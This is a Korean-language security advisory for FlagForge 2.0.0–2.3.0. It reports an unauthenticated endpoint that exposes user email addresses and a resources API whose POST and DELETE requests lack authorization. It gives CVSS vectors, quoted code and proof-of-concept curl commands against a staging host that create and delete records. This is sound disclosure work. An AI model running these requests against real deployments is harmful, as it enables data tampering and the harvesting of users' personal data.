
FlagForge 2.0.0~2.3.0 버전에서의 CVE입니다. 문제 해결을 위해 버전 2.3.1로 업그레이드하세요.
범위 내 / 영향 받는 애플리케이션: FlagForge 웹 애플리케이션
API 엔드포인트: /api/user/[username]
세부사항: 이 엔드포인트는 인증 없이 사용자 이메일 주소를 반환합니다. 모든 사용자 이름을 공개적으로 조회할 수 있습니다.
const user = await UserSchema.findOne({
name: { $regex: new RegExp(`^${username}$`, 'i') }
}).select('name email image totalScore customBadges createdAt role');
// No authentication check is performed
email: user.email, // Exposed publicly
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/CR:M/IR:L/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:L/MSI:N/MSA:N/AU:Y/RE:L
curl "https://staging.flagforge.xyz/api/user/No%20Reply"
샘플 응답:
{
"success": true,
"user": {
"name": "No Reply",
"email": "<REDACTED>",
...
}
}
범위 내 / 영향 받는 애플리케이션: FlagForge 웹 애플리케이션
API 엔드포인트: /api/resources
세부사항:
GET /api/resources는 모든 리소스를 공개적으로 노출합니다.
코드 검토에 따르면, POST 및 DELETE 요청에 대해 인증이나 권한 부여가 적용되지 않습니다. 이러한 요청은 운영 데이터에 영향을 미치지 않도록 라이브 시스템에서 테스트되지 않았습니다.
관찰된 헤더 (OPTIONS 요청):
❯ curl -i -X OPTIONS "https://staging.flagforge.xyz/api/resources"
HTTP/2 204
access-control-allow-origin: https://staging.flagforge.xyz
allow: DELETE, GET, HEAD, OPTIONS, POST
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
date: Thu, 25 Sep 2025 15:03:45 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/resources
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::v7k72-1758812623945-4e3fad4b58b4
x-xss-protection: 1; mode=block
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/E:U/CR:M/IR:H/AR:M/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:H/MVA:L/MSC:L/MSI:H/MSA:L/S:N/AU:Y/RE:M/U:Red
curl -X GET "https://staging.flagforge.xyz/api/resources"
이렇게 하면 리소스의 _id를 얻을 수 있습니다.
curl -X POST "https://staging.flagforge.xyz/api/resources" \
-H "Content-Type: application/json" \
-d '{"title":"Test","description":"Test","category":"Web","resourceLink":"https://example.com","uploadedBy":"tester"}'
curl -X DELETE "https://staging.flagforge.xyz/api/resources?id=<resource-id>"